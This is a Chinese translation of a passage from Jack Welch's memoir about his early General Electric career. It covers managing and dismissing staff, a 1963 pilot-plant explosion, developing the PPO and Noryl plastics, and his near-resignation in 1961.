  我从来不隐藏自己的思想或感情。在业务讨论中,我非常投入以至于有些情绪冲动,脱口而出一些别人认为难以接受的话。我说过:“我

  6岁的孩子都会比这个做得好!”还说过:“不要像沃尔特·克朗凯特(Walter Cronkite,二战时期的美国记者)那样对待我!”(这个意思所有人都明白:“你报道了坏消息,但是你没有告诉我怎样去解决问题。”)

  不能适应这种非正式和企业氛围的人只好自动辞职或被迫辞职。我也因此减少了由他们的不能胜任而致的损失。傲慢和华而不实的人不能在公司中长期存在下去。只有适者才能获得加薪和分红,就像我今天这样。

  我“踢人”,但我也“拥抱人”。

  这些与众不同使得我就像传统习俗的背叛者,还导致了荒谬的流言蜚语。这些关于我的谣传也只不过是谣传而已。这些谣言成了茶余饭后的玩笑话,但一般都没有什么事实依据。比如曾有闲言碎语说我像一头暴躁的公牛,跳到办公桌或会议桌上大发雷霆。

  那纯属胡说八道。

  尽管如此,我还是步步高升。尽管约翰逊对我持保留意见,我还是在1971年获得了化学和冶金部门负责人的职位,不过这同时也带来了新一轮的巨大挑战。到了1971年,我已经在GE的塑料部门干了近11年。现在我不得不去构思如何运作整个新的业务,包括碳化物切削工具、工业钻石、绝缘材料以及电子材料产品—此外还要和一些完全不同的人打交道。

  我的首要工作就是密切关注我的团队。除了一两个人之外,我发现这里的员工都不太符合我的标准。我第一个承认我在那些日子里有了解聘这些人的冲动。但是在多年的实践中,我学会了用很多方法去做这件事。这是我们做过的事情当中最艰苦最困难的事,而且它永远也不会变得容易起来。

  如果我知道有将这种事情变得容易的方法,那就是尽量让所有人在被告知离开时不感到太吃惊。每当我遇到我准备撤换的经理时,我都会至少和他谈上两三次话,表达我的失望,并且给他们机会以改变事情的现状。每次考核和总结业务能力后,我都会亲手写下一些意见。

  也许有些人始终都不能理解我的坦诚,不过他们至少总能确切地知道自己处于一个什么样的位置上。

  第一次谈话应该是出现吃惊和失望(如果有的话)的时候—而不是去通知某个人离开。在我的记忆里,当我和某人的最后一次谈话开始时,没有一次他们会感到震惊或者不可思议。

  “看,”我说道,“我们都尽力了。我们都知道这样下去不行。是该了断的时候了。”

  毫无疑问,到头来还是有些遗憾。往往还会有解脱。每当最后的交谈快要结束的时候,谈话的主题总会马上转移到:“那我的待遇呢?”幸运的是,我的公司有足够的财力资源来缓冲遭受解职的打击。

  到了这个时候,最大的挑战就是让所有的人都着眼于未来。让他们确信,当他们准备开始生命中新的一轮挑战时,现在正好就是转折点—这就像从高中到大学,从大学到工作的转折一样。他们可以忘掉过去所有的瑕疵,继续前进到另外一个新的环境里。

  我看到很多人离开了他们以前的未见成效的工作后生活得更好,更快乐。我们每一个人都有义务多多促成这种事情。

  1971年,在我新上任不久,我最终不得不给三位直接向我汇报工作的经理带来坏消息。不过我还是留下了几个老员工。我将我以前主管塑料公司的职位给了汤姆·菲兹杰拉尔德(Tom Fitzgerald),一个精力旺盛的爱尔兰人。塑料公司的员工中绝大多数都是工程师,而汤姆则是惟一一个真正的行商。

  他和我既是好朋友,又是业务上的精神伴侣。我将主管硅业务的经理解职,找来了我以前的同事沃尔特·罗伯(Walt Robb),他是在伊利诺伊把我招募到公司的博士、研究工程师,后来他离开了实验室,担任了一项小型医学开发业务的运作工作。

  在薄片制品业务中,我换了经理。空缺的职位由查克·卡尔森(Chuck Carson)担任,他曾是我的财务主管,后来成为了主管新薄片业务的负责人。薄片制造是一个很艰难的行业。我们的主要竞争对手美国氨氰福米卡家具塑料贴面(American Cyanamid誷Formica brand)(一种强力合成树脂)基本上占领了整个市场,而我们的产品层压胶布板(Textolite)几乎溃不成军。我们的分销商力量很弱。查克人很强壮。他太强壮了,我们用当时一个流行电视节目《贱民》中的粗壮人物为他命名,叫做“弗兰克·尼蒂”(Frank Nitti)。不过,查克总能完成预算,但对于提高商业利润和弱势的竞争地位却没有取得很大的成绩。

  他和我尝试了所有的办法,试图妙手回春,使我们的业务量有所增长。这是我第一次看到员工们对糟糕的业务状况产生低沉的情绪,面对面地同我们那几乎不可战胜的竞争对手竞争,而且胜算的可能性小之又小。

  直到那时,我一直认为所有的商业活动都是激动人心的。我相信只要你注入大量的资金和研究力量,就会开发出新的产品,伴随而来的就是未来销售的增长和成功。这是我第一次面对糟糕的业绩,这是我职业生涯中的一个教训,这个教训给我带来的影响是巨大的。幸运的是,我们其他的业务有着非常好的销售利润,特别是塑料—增长的真正驱动力。

  我还深入地了解这些新业务中的员工的情况。例如,在我们底特律的冶金部门,我在早期的人力资源评估时要求见见销售管理团队。我几乎不能相信这个队伍的质量。他们让我听到的是冗长、正式的演讲。他们对自己的工作没有热情,不能够回答最常规的问题。我认为他们是最极端的例行公事型的销售力量—销售人员找不出任何新的理由来挽救他们的命运。

  在评估之后,两名经理被撤职。不过,这时我遇到了一个特别的家伙约翰·欧派(John Opie),他当时是市场开发部的经理。他35岁,不过他做这项业务已经有12年了。在我遇见他的当天,我给了他第一次“火线提升”,让他当全美销售经理。在会见了他所有“新”的区域销售经理后,我告诉欧派说,如果我是他,我会让这六个家伙都回家。最后,有五个人遭到了辞退。

  很显然,这样做不符合常规—非常不符合常规。但是这样做震撼了整个队伍,欧派恰恰利用这一点使整个企业有了活力。工作勤奋又大公无私的欧派逐渐成长为GE最优秀的运营执行官之一,并最终成为我的一名副董事长。

  我没有刻意对官僚作风嗤之以鼻,但是我与众不同,因而对总部的一些人构成了一定的威胁。罗伊·约翰逊的评论就反映了我和纽约的公司员工之间的一些冲突。无论什么时候,只要我想招募一名关键人物,公司里的人就会端出候选人的名单,说这些是财务、人力资源和法律方面的“公司重点职位”。在这种情况下,我就不得不为每一个我希望招募的人拼了命争取。

  我并不是每回都如愿以偿地挑选到我所期望的职员。有几次我不得不雇用公司候选人名单上的人。有两个我被迫接受的财务经理并不是很有能力,所以最后我不得不罢免他们的职位。而我最大的一次失败是试图提升一位年轻的律师鲍勃·莱特(Bob Wright)做塑料业务的法律总顾问。

  我认为鲍勃不仅仅是一名律师。他27岁,刚刚放弃私人执业。我被提升至主管部门时,我也提升了阿尔特·普奇尼(Art Puccini)做我的总顾问。此时鲍勃是替代阿尔特负责塑料业务的最佳人选。但是GE的法律总顾问有着不同的观点。他认为鲍勃的年龄和阅历使他不能够成为合格的人选,然后塞给我他的一些亲信。

  我接受了其中一个。我后来想出了一个办法解决这个问题。我在1973年让鲍勃·莱特负责塑料战略发展的工作。我可以直接安排这个职位而不会受到公司的干涉。虽然这对于一名律师来说几乎是一份不可思议的工作,但是鲍勃·莱特在这份工作中还是表现出了惊人的能力。他有无数新的主意,给这个职位带来了新的生机。18个月后,我们提升他为我们主管塑料业务的全美销售经理。他的快速反应能力和外向的性格使得他天生就适合这个职位,而且这个职位还给了他受用无穷的经验。鲍勃最后成为了NBC的董事长。今天他又成为了GE的副董事长—从一个“被公司拒绝”承担年销售额远低于1亿美元部门的法律工作的职员开始,他走过了一段漫长的道路。

  其实,总部和分支机构之间的矛盾在所有企业中都是普遍存在的。鲍勃·莱特的例子就是我找到的一种打击这种制度但又不公开反抗这种制度的方法。在过去的20年里,我希望GE的人每天都可以为他们所需要的人创造机会—尽管我的职员和我也都试图将我们自己的候选人硬塞给他们。

  官僚作风经常使我感到气馁的时候,我会采取一种回避的态度,而不是公开批评—特别是不针对那些位高权重的人。早在1970年代早期,我便开始思考运作整个GE的可能性。我公开地说到这种想法是在1973年,我毫无顾忌地撰写我的工作总结时,谈到了我的长期职业目标是当CEO。所以为了实现我的梦想,我就一定不能让运转中的“风车”发生倾斜。如果我抱怨这个体制,我就会被这个体制拿下。

  我很幸运,因为这个体制屈服了。公司给了我令人难以置信的众多机会,使我拥有了很多处理不同事物的丰富经验。更为重要的是,公司允许我以自己的方式行事。

  在我得到“中子弹杰克”这个绰号之前很多年,我实际上的确炸掉过一座工厂。

  那还是1963年,即我在GE的早期。那年我28岁,在GE已经干了三个年头。我还清楚地记得那个春天,仿佛是昨天发生的一样。这是我一生中所经历的最为恐怖的事件之一。

  爆炸发生的时候,我正坐在匹兹菲尔德的办公室里,街对面就是实验工厂。这是一次巨大的爆炸,爆炸产生的气流掀开了楼房的房顶,震碎了顶层所有的玻璃。这次爆炸彻底动摇了所有的人,尤其是我。

  爆炸的余响仍在我的耳边萦绕,我飞奔出办公室,径直跑向离塑料大街只有100码的红砖结构的工厂。我想,天呀,但愿没有人受伤。屋瓦和玻璃碎片七零八落,浓烟和尘土弥漫在整个楼房的上空。

  我跑到三楼。我害怕极了。我的心怦怦狂跳,汗流浃背。爆炸带来的灾难比我预想的更糟。一大块屋顶和天花板掉到了地板上。

  不可思议的是,没有人受重伤。

  我们当时正在进行化学实验。在一个大水槽里,我们将氧气灌入一种高挥发性的溶剂中。这时,一个无法解释的火花引发了这次爆炸。非常幸运的是安全栓正如原先设计的那样松释了,使槽顶直接冲向了天花板。

  作为负责人,我显然有严重的过失。

  第二天,我不得不驱车100英里去康涅狄格州的桥港(Bridgeport),向集团公司的一位执行官查理·里德(Charlie Reed)解释这场事故的起因。他是我顶头上司鲁本·加托夫的老板。鲁本·加托夫就是那个极力劝阻我不要离开GE的人,他也参加了会议,不过我才是准备挨批的人。我已经作好了最坏的准备。

  GE的老板们对他们的经理们有着各种各样的期望。他们希望这些人能够为新产品想出更好的点子。他们希望这些人能将新产品打入市场并获得收益。但是他们不希望这些人炸掉一间工厂。

  我知道我可以解释为什么会发生这次爆炸,而且还有解决这个问题的一些建议。但是当时我紧张得失魂落魄,我的自信心就像那被炸毁的楼房一样开始动摇。

  我对查理·里德了解不多。然而一走进他在桥港的办公室,里德就很快使我平静了下来。作为一名从麻省理工学院毕业的化学工程博士,查理·里德是一个有着很深专业素养的杰出科学家。实际上,他在1942年加入GE以前,还在麻省理工学院当过五年应用数学的教师。他中等身材,头有点秃,眼神中总是流露出智慧的光芒。

  查理·里德对技术也同样有着很大的热情。他是个跟企业结婚的单身汉,是GE中级别最高的有着切身化学经验的执行官。查理知道在高温环境下做高挥发性气体实验时会发生些什么。

  那天,他表现得异常通情达理。他几乎是以苏格拉底式的方法来处理这起事故。他所关注的是我从这次爆炸中学到了什么东西,以及我是否认为自己能够修理反应器的程序。他还问我们是否应该继续进行这个项目。这一切都是那么充满理解,没有任何情绪化的东西或者愤怒。

  “我们最好是现在就对这个问题有彻底的了解,而不是等到以后,等我们进行大规模生产的时候,”他说道,“感谢上帝没有任何人受伤。”

  查理的行为给我留下了深刻的印象。

  当人们犯错误的时候,他们最不愿意看到的就是惩罚。这时最需要的是鼓励和自信心的建立。首要的工作就是恢复自信心。我想当一个人遇到不顺或者是挫折的时候,人云亦云是最不可取的行为。GE工作总结中有一则笑话,说的是在某一位CEO头脑发热的时候,如果公司里有人跟着一窝蜂,员工们就会掏出白手绢,将它抛向空中,指责这个人云亦云的人。

  在危急关头人云亦云很容易使得人们陷入我所说的“GE漩涡”中。什么地方都有可能发生这种事情。你可以看到一旦一名领导者失去信心,开始恐慌,并逐渐陷入自我怀疑的无底洞,就会发生所谓的“GE漩涡”。

  我曾看到这种事情同样也发生在坚强、聪明且充满自信的数十亿美元公司的总经理们身上。顺利的时候,他们一般都会做得很出色,但是一旦做了某些错误的计划或者一桩赔钱的买卖—并不是第一次—自我怀疑的心理就开始慢慢地侵蚀他们了。于是他们开始对每一件事情都没有了主意,他们赞成每一个提议,为的是及早走出会议室或者是将这件事拖到以后再去处理。

  这是一件非常可怕的事情。很少有人可以从这个“漩涡”中恢复过来。我曾经尝试所有可能的手段以帮助这些人摆脱“漩涡”—或者更好些,去避免它的发生。

  不要误解我。我喜欢挑战人们的观点。没有人会比我更喜欢合理而又激烈的争论。这不是倔强或者坦率。这是工作。不过关键的是要知道什么时候去拥抱,什么时候去斥责。当然,武断的不愿意吸取教训的人必须开掉。我们所要做的是帮助那些知道自己已经被过失侵蚀了自信的人们摆脱困境,重塑自我。

  但这并不是说因为有了一个最高执行者,你就可以完全放松了。一个很好的例子就是我们的一个A类选手,他的职责是负责GE一项业务的全球性研发工作。就在去年,他和我在一次年度高层会议前夜举行的鸡尾酒会上闲聊。那时我刚考察完GE在印度的研发业务,我为我所看到的一切感到振奋。于是我向他描绘了我对他的经营成果的印象,这个家伙居然告诉我,我在出差中看到的是一大堆假象。

  “他们在印度所做的一切远没有达到你所想像的质量标准!”他说道。

  他说的话激怒了我。我不能相信他。印度的工程师和科学家们同样都在他的薪水册里,他却将他的员工划分成三六九等:他所在的美国“这儿”的员工和印度“那儿”的员工。我一直知道,很难让知识全球化的理念深入到整个机构中去,将世界各地了不起的头脑加以开发利用。但直到从我最好的员工身上得到反馈,我才真正意识到这个问题比我想像中要严重得多。

  第二天在GE高层会议上,我当着170人的面不点名地说了这件事。我把这件事当做一个例子,来说明为什么我们的公司没有最大限度地掌握知识全球化的概念。我请每一位到镜子面前看一看自己,想想自己是否也是那种人。我们不可能让美国的研发团队做所有技术含量高的充满乐趣的工作,而将一些低价值、低技术含量的项目全都放到像印度这样的地方。到印度的这次出差使我感觉到,那儿的研发实验室里的科学家和在美国的科学家差不多,甚至更出色一些—而且他们比软件还要守规矩。

  毫无疑问,这个家伙觉得我当众痛斥了他,特别是在他的同级面前。如果他不是我们公司最聪明、最有自信心的高级管理人员,我是不会这样做的。他是GE的一位全能明星,而不是一个无用的人。

  会后一两天,他给了我一张便条,解释说他无意中“低估了印度那边的团队做出的重要贡献”,并且给我留下了一个坏印象。我于是马上打电话告诉他,我很感激他的便条,而且他没有必要那么紧张。

  显然,这种反面教材并不是在每个人身上都奏效。你可以这样对待你最好的员工—前提是他们知道自己是最好的。我一般在规模较大的群体中才使用行为榜样的说明方法,因为这样对他们会更奏效一些。

  这一点同样适用于这样一些人,他们在成功与失败之间“大幅震荡”。在大公司的一个最大的好处就是员工可能承担有着巨大潜在市场的大型项目。而中和这些优点的最便捷的方法就是附和那些敢想敢做但最后又失败的人。所以长此以往的后果就是不愿意承担风险的风气越来越盛行。

  支持这种富有雄心的员工的最好办法就是分散有大潜力的小项目,赋予每一个员工积极的角色和足够资源,然后将这些小项目再整合成一个大的业务。一个最好的例子就是在1970年代末,我们最初的想法是去开发一种叫做哈拉克(Halarc)的新款灯泡。这是一次雄心勃勃的尝试,我们试图制造一种革命性灯泡,可以比一般的产品持续长达10倍以上的时间。看上去这将成为一种完美的解决环境问题的方法。

  问题是无论这种产品多么“绿色”或者说多么富有划时代的意义,没有人愿意为了一个灯泡而花费10.95美元。我们的项目失败了。我们没有“惩罚”与哈拉克项目有关的任何人,相反,我们为他们所作出的伟大尝试表示祝贺。我们给他们发放了奖金,并提升了几位哈拉克项目的研究人员到新的工作岗位。虽然没有获得令人满意的结果,我们还是给整个团队的成员以很大的奖励。我们希望公司的每一个员工都知道,经受极大的震荡以后的失败是完全可以接受的。

  到了1964年,我们研制新型塑料的工作已经进行了很长时间。我们这时快要研制出一种可以卖的产品了。加托夫这时指派了一个叫鲍勃·芬霍尔特(Bob Finholt)的总经理来负责这项工作。他是一个梦想家,同时也是一个大思想家,他很快就让他的老板们相信我们在匹兹菲尔德已经开始做了一些事情。同时查理·里德也说服了董事会批准我们1964年的新塑料工厂。

  这个投资1,000万美元的工厂将用来制造塑料产品PPO,当初就是它吸引我来到GE,同样也是它造成了实验工厂的灾难。我们获得这笔资金的主要原因是这种塑料所获得的突破比GE的第一代产品历新更为先进,而历新的出现刚刚建立了一个新的性能标准。

  不过在何处建厂遇到了异议。部分原因是我们不想搬到印第安那州的弗农山(Mount Vernon),我们曾在那里建立了第一个历新塑料工厂。于是我们选择了纽约州塞尔扣克(Selkirk)的一片450英亩的土地。我是星期天带着妻子和三个孩子在匹兹菲尔德开车时发现这个地方的。我们五个人下车走遍了这里的每一个角落。这是一片美丽的土地,原来是有跨越哈得孙河行路权的纽约中央铁路公司的编组场地。我很喜欢这个地方,直到孩子们累了,我才恋恋不舍地离开。

  有些GE的行政长官对这个选址表示了异议,他们说这个地方离斯克内克塔迪只有30英里,而GE在那儿已经建立了我们最大也是最老的一个生产工厂。我们的请求里肯定也有一些私心。我们希望能够自己单干,并且希望能够待在我们原来的地方。为了说服他们,我们争辩说我们正在制作一种高技术的产品,需要和斯克内克塔迪的GE研发中心的化学家和科学家们进行讨论,同时我们还要去我们在匹兹菲尔德的实验室,离这里大约50英里。

  我们赢得了争论和资金。与此同时,鲍勃·芬霍尔特因为他富于创新的才能被提拔到总部负责战略策划。

  这样总经理的职位就空缺下来,于是我准备申请这个空缺。

  在塞尔扣克,和加托夫以及其他团队成员吃完晚餐后,我跟在加托夫的身后,一直来到石末饭店(Stone Ends)后面他停车的位置,我跳上了他的大众敞篷车的前座。

  “为什么不让我试试鲍勃的位置?”我说道。

  “你在开玩笑吧?”加托夫问道,“杰克,你对市场一点都不熟悉。而这一点对于这种新产品却是至关重要的。”

  我不肯接受否定的回答。在又黑又冷的夜晚,我在加托夫的车上坐了一个多小时,试图说服他我的资历很适合这份工作—虽然他认为我的资历还有所欠缺。

  现在轮到我游说加托夫了,我拼命地劝说他。我提醒他当初他力劝我留在GE的情形。他当晚没有给我答复,但是我们把车开出停车场的时候,加托夫似乎明白了我是多么需要这份工作。

  在随后的7天时间里,我给他打电话举出一些我适合这个职位的其他原因。不到一个星期,他给我打来电话,要我到他在桥港的办公室去一趟。

  “你这狗娘养的,”他说道,“你说服了我给你这份工作,说干就干吧。你最好准备一下交接工作。”

  当天,我作为主管聚合物产品生产的总经理回到匹兹菲尔德。

  我几乎没有时间来进行庆祝。

  我刚刚得到这份新的工作,新的工厂也破土动工了,这时我们发现我们的PPO产品有着严重的缺陷。在老化性实验中,我们发现超过一段时间以后,PPO产品在高温下容易变脆,因而容易裂碎。而这是我们在设计中已经考虑要防止的。这样一来,这种产品就不可能成为热水铜管的替代品—而这本来是这种产品最大的潜在市场之一。

  我的游说使得自己一下子陷入了职业生涯可能被断送的危险中。这个时刻将永远凝固在我的记忆里。1965年一个寒冬的夜晚,我与加托夫和艾伦·海伊—这位打蝶形领结、发明PPO的GE公司的研发实验室的科学家—来到塞尔扣克的工地上。当时我们穿着外套大衣、戴着手套站在一个大坑的上方,那个坑至少有30英尺深,足够将我们三个人都埋起来。

  由于这个新近发现的技术瑕疵和我们前面的这个大坑,我在GE的职业生涯仿佛马上就会一闪即逝。

  “艾伦,你必须过来帮我们解决这个问题,否则我们都会死。”我说道。

  海伊转过身来,冷静地回答我说:“嘿,伙计,不要太着急。我马上就会有几种新的塑料产品。”

  当时我真的有点想把他推到这个坑里去。我不知道自己卷入的是什么样的麻烦。我们的步子已经迈大了。这是一个1,000万美元的商业投资项目,而公司却好像并不真正了解这一点。现在问题变得很清楚,我们没有可供工厂生产的产品。更为严重的是,发明这个产品的科学家并不知道如何去解决这个问题。

  我们用了6个月的疯狂时间,才解决了这个问题。这一段时间里,我实际上是住在实验室里的。我们尝试了所有的方法。我们往PPO中添加每一种可以防止其分裂的成分。丹·福克斯,这个说服我加入GE的科学家,领导一组匹兹菲尔德的化学家们,最终找到了解决方案,即将PPO和低成本的聚苯乙烯以及一些橡胶混合起来就可以解决分裂的问题。

  我们不得不改变工厂的设计以加入这个混合工序,不过它确实奏效了。

  这个故事终于有了皆大欢喜的结局。这种混合塑料产品叫做改性聚苯醚(Noryl),最终成为今天在全球有着10亿美元销售额的成功产品。

  我们的成功靠的是一群相信我们可以做任何事的疯狂的人。我们惊恐万状,同时又满怀梦想—疯狂地尝试所有办法,就为了让塑料产品能够取得成功。我们也许是世界上最大的公司之一,不过在匹兹菲尔德和塞尔扣克,我们认为自己是在一家小型的家族式的企业里工作,只不过我们的背后有一家“银行”作为后盾。

  说到幸运,我在塑料产业中的全部经验就好像上帝来到我身边并说道:“杰克,现在轮到你了。抓住这个机会。”

  我在这方面仍然是个新手。我还记得一个销售员第一次带卡罗琳和我去吃饭的情景。我觉得那很了不起。我是一名项目经理,从他的匹兹菲尔德实业煤矿公司购买了所有的原材料。他带我们去“弗洛斯河上的磨坊”(Mill on the Floss)—当地最好的餐馆吃饭,而且是免费的!

  现在回想起来似乎非常天真,但是当时每一件事情都是一次新的体验。我非常喜欢所有那些时刻,而且我从细节中体会到很多乐趣。我过去常常乘坐双引擎的联合快帆号(Caravelle)喷气式飞机从康涅狄格州的哈特福德飞往芝加哥,到印第安那州的弗农山生产历新的塑料工厂去。每一次旅行,空中小姐都会给每人分发一罐澳洲坚果和两小瓶苏格兰威士忌。我们在去机场的路上都盼望着这种款待。

  有时,我几乎不敢相信别人付我钱去做这些事情。我的母亲也同样不敢相信。我1964年第一次到欧洲出差的时候,母亲曾担心GE会不会给我报销。

  “你确信他们会给你报销吗?”她问道。

  所有这些新的经验都是从零开始开展业务的一部分,而且其中的每一次经验都可以作为庆祝的借口。每当我们接到一份500美元的塑料球的订单,我们就会在回家的路上停下来喝啤酒庆祝。我们将每一个订单超过500美元的顾客的姓名贴到墙上,称之为“500俱乐部”。无论什么时候我们增加了十名新的顾客到俱乐部—我们就又有理由庆祝一番了。

  啤酒和比萨饼的宴会是硅谷的标准配置,不过1960年代中期的时候,这同样也是塞尔扣克和匹兹菲尔德的标准配置!

  每一次提升、每一次分红以及每一次加薪都是庆祝的原因。当我在1964年获得3,000美元红利的时候,我在刚买的新房子里举行了一次宴会,邀请了全体员工。我的房子在剑桥(Cambridge)大街,这是匹兹菲尔德工人阶级聚居的地方。紧接着的那个星期一,我给自己买了第一辆绿色庞蒂亚克(Pontiac)都市情人(LeMans)敞篷车。噢,我感觉自己就好像站在世界之巅—不过很快我就意识到,事物是会发生变化的。

  除了车以外,我还买了新套装。那个时候,我总是希望自己能够和别人有所区别。夏天,我会穿上哈斯派尔(Haspel)制作的棕褐色的毛葛西装,配以蓝色的领口有纽扣的衬衣,然后系上有条纹的领带。现在看起来那个时候真是有点傻。此外,我还喜欢电话的另一端传来的“韦尔奇博士”的称呼。

  一个美丽的春日,下班以后我到停车场去开我那辆崭新的敞篷车。我第一次压杠杆将车篷放下来。这时,一个液压管突然破裂,脏兮兮的黑色机油喷到了我的西服上,还毁了我那漂亮的新车前面的油漆。

  我一下子给弄懵了。我这段时间一直飘飘然的,而现在身上的气味把我重新拉回了现实。这是一次很好的教训,即当你自以为是一个大人物的时候,就会发生一些事情,让你清醒过来。对我来说,这样的事情将是最后一次发生。

  即便如此,我们的家族企业仍在持续发展,我也一样。我们一旦建起了塞尔扣克的工厂,并开始销售改性聚苯醚,销售状况便一路攀升。在1965年到1968年这段时间里,我们发展得非常快,我在这时也获得了下一个飞跃。1968年6月初,也就是加入GE近八年后,我被提升为主管2,600万美元塑料业务的总经理。这对我来说可是件头等大事,因为32岁的我成了这家公司最年轻的总经理。

  这次提升使我进入了一个更大的经过精简的集体—每年的1月我都会受到邀请,去佛罗里达参加公司的高层管理会议,而且这也是我第一次得到自己的期权。

  我终于上路了。

  1961年,我已经以工程师的身份在GE工作了一年,年薪是10,500美元。这时,我的第一位老板给我涨了1,000美元。我觉得这还不错—直到我后来发现我们一个办公室中的四个人薪水居然完全一样。我认为我应该得到比“标准”加薪更多的东西。

  我去和老板谈了谈,但是讨论没有任何结果。

  沮丧之际,我萌生了换工作的想法。我开始浏览《化学周刊》(Chemical Week)杂志和《华尔街日报》(The Wall Street Journal)上的“招聘信息”栏目,希望能够早日离开这里。我觉得自己陷入了一个大组织最低层的“漩涡”之中。我想出去。不久,我找到了一份体面的工作,这是一家设在芝加哥的国际矿物及化学公司(International Minerals & Chemicals),离我岳母的住所不远。看来这是一次抽身的机会。

  这次早已预先确定好的标准的工资浮动使我看到了这家公司的吝啬,这是致使我感到愤怒、想离开的一部分原因。当初GE招聘我的时候,这家公司给人的感觉是到处铺满了红色的地毯,给人以无限的希望。他们说我正是他们开发新型塑料产品PPO的合适人选。

  当卡罗琳和我来到马萨诸塞州匹兹菲尔德的时候,我幻想至少还有一点这种诱惑人的待遇条件继续存在。我们来到GE的时候,口袋里只有一点零钱。我们开着那辆褪色的黑色大众,跋涉950英里从伊利诺伊来到GE。当我于1960年10月加入GE的时候,正好赶上当地的工会罢工。为了躲开罢工纠察线,我在一个当地仓库里以“流水线开发专家”的名义报到工作。

  马上,我的新老板伯特·科普兰(Burt Coplan)宣告了这段蜜月期的结束。科普兰是一个四十出头、身材瘦削的开发部经理,他问我和我的妻子是否已经在城里找到了寓所。当我告诉他我们现在住在当地的旅馆的时候,他说道:“这个,你知道,我们不负责解决这种问题。”

  我几乎不敢相信。如果这不是我工作的第一周,也许我根本就不会放在心上。不过我不会再多说这件事。科普兰在面试我的时候比现在和蔼可亲。事实上,他也是个挺不错的人,他只是把处处节省看成了自己的工作。

  他的行为使得GE看上去好像正处于破产的边缘。

  我到GE来所抱的幻想全部破灭了。我们搬出了旅馆。我住进了一家更便宜的汽车旅馆,而让妻子到塞勒姆和我母亲住了几个星期,直到我们找到了一家公寓。最后,我们搬进了第一大街一栋木质结构的二层房子,住在一层的一套小公寓里。那栋房子的女房东对暖气过于吝啬,所以我们不得不敲墙请求房东升高自动调温器的温度。即使这样,她还总是隔着纸一般薄的墙对卡罗琳和我喊道:“穿件毛衣!”为了给这个地方配点家具,我的父母给了我们1,000美元,让我们买了一个沙发和一张床。

  第一年里,并不是所有的事情都那么糟糕。也有一些我很喜欢的事情:我可以有一个自主的环境为PPO的研制而设计和建立一个崭新的实验工厂,而且我还很喜欢在一个像小公司的团队中工作。

  我和阿尔·戈万(Al Gowan)博士的合作非常密切,他是和我一起加入GE的。他最早开始用烧杯从事新型塑料的研究,而我主要是设计测试体积较大的塑料产品用的锅,并在本地的一家机器加工车间制作。我们从零开始,在我们办公室后面的附属建筑里建立了一个实验工厂。每天我们都进行几次实验,并测试不同的工序。

  对于刚出校园的人来说,这确实是一次真正的挑战。

  从事像PPO这种新塑料产品的研究工作,我们需要获得一切能得到的科学帮助。所以每个月至少有两次,我会开着车到55英里外纽约州斯克内克塔迪(Schenectady)的GE的中心研究与发展实验室,这是PPO诞生的地方。我会在那里花整天的时间同研究人员和科学家们一起工作,并试图激发他们对这种产品潜在用途的兴趣。

  当初,中心实验室完全是由公司直接投资的,所以实验室的科学家们没有直接的动力将精力放在商业性的事务上,更不用说什么商业化的东西了。他们无一例外都喜欢从事高深的科学研究。而现在我想要他们做的是让他们将时间花在一个已经不是发明研究阶段的产品上。我不是权威。所以只有通过劝说来达到我的目的。其实非常容易引起塑料的发明者阿尔·海伊(Al Hay)的注意,当然还有他的几个同事。但还是有一些人对产品的商业化不感兴趣。

  我每次都盼望着能够去研发实验室,因为我觉得“推销”我的项目很有趣—而实验室是最能提供帮助的地方。这些出差到头来还是相对合算的。每次差旅我都开自己的大众车去,总共需要4加仑的汽油,每加仑25美分。而由于用自己的车,GE会按每英里7美分给我报销。所以每去斯克内克塔迪一次,我的兜里就会多出7美元来。这在现在看起来也许很愚蠢。但是我们所有人都会为了得到一些额外的现金立即开车去跑活儿。

  尽管有这些好的条件,我还是一天比一天更觉得萎靡不振。那些在第一周发生的节省小钱的行为仍在继续着。在塑料大街红砖结构的楼房中,我们四个员工挤在一间又小又窄的办公室里。只有两部电话,我们必须将就着手忙脚乱地在桌子上递来递去。每次出差,伯特都会要求我们在旅馆房间里挤住在一起。

  对我来说,那“标准”的1,000美元工资上涨就像谚语中那最后一根稻草一样。

  所以我去见科普兰,提出辞职。当我正准备开车离开、再次穿过乡村时,科普兰的上司、一个来自康涅狄格的年轻主管鲁本·加托夫(Reuben Gutoff)叫住了我。他邀请我和卡罗琳去匹兹菲尔德的“黄紫菀”(Yellow Aster)吃了一次时间很长的晚饭。

  加托夫并不是一个陌生人。我们曾在几次业务总结会上见过面。我们保持着联系,因为每次我都能提出一些超出他预期的看法。作为一名初级开发工程师,我给了他一份详细的成本报告,其中包括了对我们新塑料产品的物理性质的详细分析,此外,我还给出了对现在世界上主要竞争对手的产品分析,如杜邦(DuPonts)、道斯(Dows)和塞拉尼斯(Celaneses)。这份报告还列举了长期的产品成本,如尼龙、多丙烯、丙烯酸与我们产品的成本比较。

  这根本不是什么意义重大的分析,但是它来自于一个穿着白色实验服的家伙,就有些非同寻常了。

  我想要做的就是“脱颖而出”。如果我仅仅回答了他的问题,那么就很难引起注意。其实每当老板们提出问题时,他们在脑海中早已经有了自己的答案。他们只是想得到再次的确认而已。为了显示与众不同,我想我的回答应该比提出的问题范围更广一些。我想给出的不仅仅是答案,还有意料之外的新鲜的观点。

  加托夫显然已经注意到了这一点。在四个小时的晚饭过程中,他拚命地挽留我,希望我继续留在GE。他作出保证,答应给我加更多的工资,更为重要的是,他发誓杜绝公司的官僚作风影响到我。我吃惊地发现,他居然和我一样对公司的官僚作风感到失望。

  这次我很幸运,因为很多GE的老板们会很高兴让我离开的。毫无疑问,我对科普兰而言肯定是一个眼中钉肉中刺。幸运的是,加托夫并不这样看(不过他并不是每天都和我在一起)。和他一起吃的那次晚宴没有任何结果。在他回康涅狄格州西港(Westport)家中的两个小时旅途中,他停在高速公路旁的一个投币电话亭,给我打电话继续游说。那时已经是午夜1点了,卡罗琳和我早已进入了梦乡,而加托夫还在做他的工作。

  加托夫确实表现出了他对我的关切。他答应给我涨一点工资(在科普兰给我涨1,000美元的基础上再涨2,000美元),答应负起更多的责任,以及防止官僚作风等。

  在黎明后的几个小时,在欢送我的聚会举行之前,我决定留下来。那天晚上,在科普兰家,原本要举行告别会,在一堆礼物中,我告诉我的同事们我又不想走了。他们中的绝大多数人都感到很高兴,尽管我看到伯特因为想到我又回来了而产生了沉重的焦虑。我忘了我是否接受了那些礼物,不过我想我应该是收下了。

